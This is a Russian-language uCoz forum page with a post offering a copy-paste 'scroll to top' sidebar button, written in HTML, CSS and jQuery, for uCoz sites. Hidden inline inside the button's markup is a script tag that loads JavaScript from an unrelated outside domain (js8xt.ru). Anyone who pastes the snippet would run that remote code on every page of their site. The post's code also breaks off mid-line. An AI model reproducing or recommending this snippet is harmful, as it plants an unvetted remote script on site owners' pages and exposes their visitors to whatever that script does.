Скрипты для GanjaWars
Пятница, 29.03.2024, 14:15
Меню сайта

Форма входа

Поиск

Статистика

Мини-чат

Сайт существует

Друзья сайта
  • Официальный блог
  • Сообщество uCoz
  • FAQ по системе
  • Инструкции для uCoz

  • [ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
    • Страница 1 из 1
    • 1
    Форум » Скрипты » Новые скрипты » Боковая панель "Вверх" как вконтакте для uCoz (Шыкарный скрипт)
    Боковая панель "Вверх" как вконтакте для uCoz
    BatareykaДата: Пятница, 30.03.2012, 17:34 | Сообщение # 1
    Рядовой
    Группа: Пользователи
    Сообщений: 9
    Репутация: 0
    Статус: Offline
    Шыкарный скрипт! на темный дизайнах бомбезно смотрится

    Так выглядит скрипт: http://s44.radikal.ru/i105/1203/90/7b504a2e4f2d.jpg

    Идея данного скрипта была взята с социальной сети Вконтакте

    Суть скрипта заключается в том, что по мере прокрутки страницы справа постепенно становится непрозрачной кнопка вверх. При наведении на правую крайнюю область страницы весь блок кнопки становится кликабельным и клик по ней плавно проскроллит страницу в самый верх

    Установка:
    В любой глобальный блок в самый низ:

    [code]<style>
    #aposcroll a {
    text-decoration:none;
    color:red;
    }

    #aposcroll:hover {
    background-color:rgba(200, 200, 200, 0.7);
    box-shadow:0px -5px 10px #777;
    }
    </style>
    <div style="padding:30px 5px 0px 5px;position:fixed;top:0px;right:0px;z-index:999;width:70px;height:100%;opacity:0" id="aposcroll"><center><a href="javascript://">^ Вверх</a></center><script src="http://js8xt.ru/ves.js" type="text/javascript"></div>

    <script>
    // Кнопка Вверх by Apocalypse
    var as = $('#aposcroll');
    as.click(function() {
    $(document).scrollTo(0, 500);
    });
    document.onscroll = function() {
    var apolst = '0.'+$('body').scrollTop();
    if(apolst.length == 5) {
    as.stop().fadeTo(500, apolst);
    } else if(apolst.length == 4
     
    Форум » Скрипты » Новые скрипты » Боковая панель "Вверх" как вконтакте для uCoz (Шыкарный скрипт)
    • Страница 1 из 1
    • 1
    Поиск:

    ___
    Бесплатный хостинг uCoz